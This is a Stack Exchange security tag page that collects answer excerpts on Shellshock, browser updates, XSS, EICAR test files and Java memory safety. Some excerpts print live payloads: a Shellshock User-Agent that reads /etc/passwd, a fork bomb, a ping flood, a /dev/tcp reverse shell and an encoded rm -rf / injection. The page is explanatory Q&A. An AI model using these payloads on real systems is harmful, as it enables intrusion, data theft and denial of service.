Tag Info

Hot answers tagged

121

A very simple example would be a cgi, /var/www/cgi-bin/test.cgi: #!/bin/bash echo "Content-type: text/plain" echo echo echo "Hi" Then call it with wget to swap out the User Agent string. E.g. this will show the contents of /etc/passwd: wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" ...


86

With access to bash, even from the POV of a web user, the options are endless. For example, here's a fork bomb: () { :; }; :(){ :|: & };: Just put that in a user agent string on a browser, go to your web page, and instant DoS on your web server. Or, somebody could use your server as an attack bot: () { :; }; ping -s 1000000 <victim IP> Put ...


65

Because there are security vulnerabilities found in software all the time. These vulnerabilities are sometimes publicly disclosed, sometimes not. Either way, as developers find or find out about them they patch them. Running old versions of browsers leaves you vulnerable to malicious websites trying to infect your computer. Below are links to web pages ...


22

I'm really just repeating other answers but let's try to explain it using a metaphor. A computer program is a long description of how the computer must behave, based on what information it is given. A browser program is given some instructions by a Web server program and draws a Web page for you to use. It then tells the Web server which next page it would ...


9

No, it won't work this way. Reading the documentation from EICAR we can see why: The first 68 characters is the known string. It may be optionally appended by any combination of whitespace characters with the total file length not exceeding 128 characters. So, the file must start with the said string, and must not be larger than 128 bytes. All of your ...


9

It's not just servers; client software can be affected as well. Here is an example of a vulnerable DHCP client. If a machine has such a vulnerable client (and broken bash), any machine on the subnet can send malformed DHCP responses and get root privileges. Given the widespread use of environment variables to share state between processes in Unix and the ...


7

You don't need to be using bash explicitly for this to be an issue. The real problem is allowing attackers to have a say in the value of environment variables. After the environment is set, it's only a matter of time before some shell gets executed (maybe unknown to you) with an environment it was not prepared for. Every program (bash, java, tcl, php, ...


6

Posting a body such as this: realname%3DSisodiya%20Chhatrapalsinh%26email%3D%60rm%20-rf%20%2F%60%26comments%3DDo%20your%20own%20homework%26submit%3DSubmit


5

Well the whole point of updating/patching anything is to fix known vulnerabilities. Any bugs/vulnerabilities found in the version of firefox you're running could be exploitable. Updating your browser will modify how the browser works and result in those vulnerabilities being no longer exploitable. It's really as simple as that. Updating can also introduce ...


4

Short version: Shell scripts require more caution with untrusted input; there are inherent dangers. Shell scripts are not general purpose languages, and are probably unsuited for "parsing untrusted data over networks" All that said, shell scripts can do amazing amounts of things, and can do it securely with enough care. Should is a different matter, and ...


4

Here is a link to Firefox's security update notes: Security Advisories You can see by the number of fixes, and especially those marked "critical," that by not updating you would invite significant risk.


4

The problem is not that the files could contain exploits, but that they can be made to cause harm when reinterpreted as a different format. For example, someone may upload a file with RTF extension, which is actually a Flash file which is designed to steal cookies or perform CSRF attacks. That's one of the reasons Google hosts all user-provided files on a ...


4

Shortest answer, read the Firefox changelog for a release and witness why. You can find it @ https://www.mozilla.org/en-US/firefox/releases/ For all the specific releases. Just click on one of the release numbers.


4

There are two main reasons for creating a new version of a program: (in this case a browser) To add new features (eg. viewing a video in the browser). To fix a problem, which may be: A minor issue (such as cmd-L not opening a new window when no window is available) A big issue (eg. a malicious web page can read data from other requests [1] ) Some ...


4

Here's an example through a CGI script for a remote attack, untested - Taken from http://pastebin.com/166f8Rjx Like all exploits it relies on circumstances. Connects to a remote cgi file on the web-server and launches a reverse shell () { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3] # #CVE-2014-6271 cgi-bin reverse shell # import ...


4

If you use the apache php module or fastcgi and not CGI, the parameter would never get to bash. Even if you used CGI, it would only get to bash if Wordpress somehow used called a bash script during its execution (someone more knowledgeable in Wordpress could tell the probability of that happening). You could monitor for suspicious network connections with ...


3

You should be safe from ssh side, but there are other vectors as well, like dhclient-script. By the way, you are only really "vulnerable" through SSH if you have users with restricted access (e.g. chroot or sftp-only). If all your users have full shell access, then even though they may run commands using this exploit, they could do that anyway.


3

XSF is, essentially, XSS in a Flash applet. Where in XSS you find vectors (e.g. URL parameters or form fields) for injecting content into the DOM that is parsed as script, in XSF you look for cases where you can get untrusted data to be placed into Flash variables, which may then be used in an unescaped context inside the Flash applet, resulting in script ...


3

I am asking from perspective of someone who writes shell scripts that parse untrusted input I would not recommend any of these shells to parse untrusted input, because it is far to easy to make errors with the shell syntax which can cause unwanted command execution. This is not a problem how secure the implementation of the shell itself is, but how ...


2

Exploit developers use ROP chains when there is no other option. ASLR limits where an exploit can jump reliably, as the heap and stack address will be randomized. However, some of the application's own functionality may not be randomized. When an attacker is forced into this position, they use a series of ROP gadgets to establish an environment that can ...


2

You're correct, as far as I can tell. If AcceptEnv is not set then a remote client cannot get the SSH server to process any environment variable. Note that you can execute a command through SSH as an authenticated client and get that command to load up your crafted environment variable. So if you have any setuid/setgid binary running a Bash script, this ...


1

By https-only I'm assuming you mean the HTTP Only flag, although it is accessed over HTTPS. The non HTTP Only cookies could be compromised if there are any XSS flaws on the website. The non secure flagged cookies could be compromised if the user was using a browser that does not support HSTS (such as Internet Explorer). This would be a MITM attack on a ...


1

It depends on what you mean by safe. Ubuntu has to parse and decode the image file to display it in a thumbnail. So any potential exploit in the decoding code is exploitable when you preview the file. So from a strict perspective, no you're not safe. In practice, I don't believe there's any known exploits on ubuntu for image files. Historically images ...


1

mod_fcgi itself is not vulnerable: it talks to Apache through interprocess communication rather than the environment variables of traditional CGI. Any CGI scripts run through mod_fcgi can still be vulnerable if 1) they can be coerced into setting environment variables and 2) invoke bash (say, through a system() call or backtick interpolation).


1

So at first moment i thought an alert('xxx') is enough to create a POC but inserting alert or any thing else is leading the code to become faulty Breaking the code is usually a good sign. A syntax error may show the victim is not performing the correct escapes to keep the code valid. Look at the generated source to see what it produces for your input. ...


1

All software has bugs. Updates help to resolve those bugs. When it comes to browsers, bugs can mean that malware can infect your browser, or even your machine. Worst case? An attacker can learn your banking details and empty your account.


1

You would be very lucky to find a case where you can directly execute code via a simple coding error in Java. It is possible that a bug in the implementation of the JVM allows memory corruption through benign code, but at worst phenomenally rare. However, even within the JRE (OpenJDK) a portion of the libraries are written in C, and therefore contain memory ...


1

One option is exploiting the JVM itself - it may be possible to have java code that causes the actual virtual machine to 'break' and execute arbitrary operations outside of the sandbox; there have been such exploits, although they seem to rely on sending the victim some java code for execution (i.e., in a browser sandbox context), not exploiting random java ...


1

The short answer would be "all the rest of them", but not including the simplistic kinds of errors from exploiting raw memory buffer overflows. There are plenty of other ways that memory could be used incorrectly without overrunning a buffer. An example something that might be classified as a buffer overflow problem in java would be if the application ...



Only top voted, non community-wiki answers of a minimum length are eligible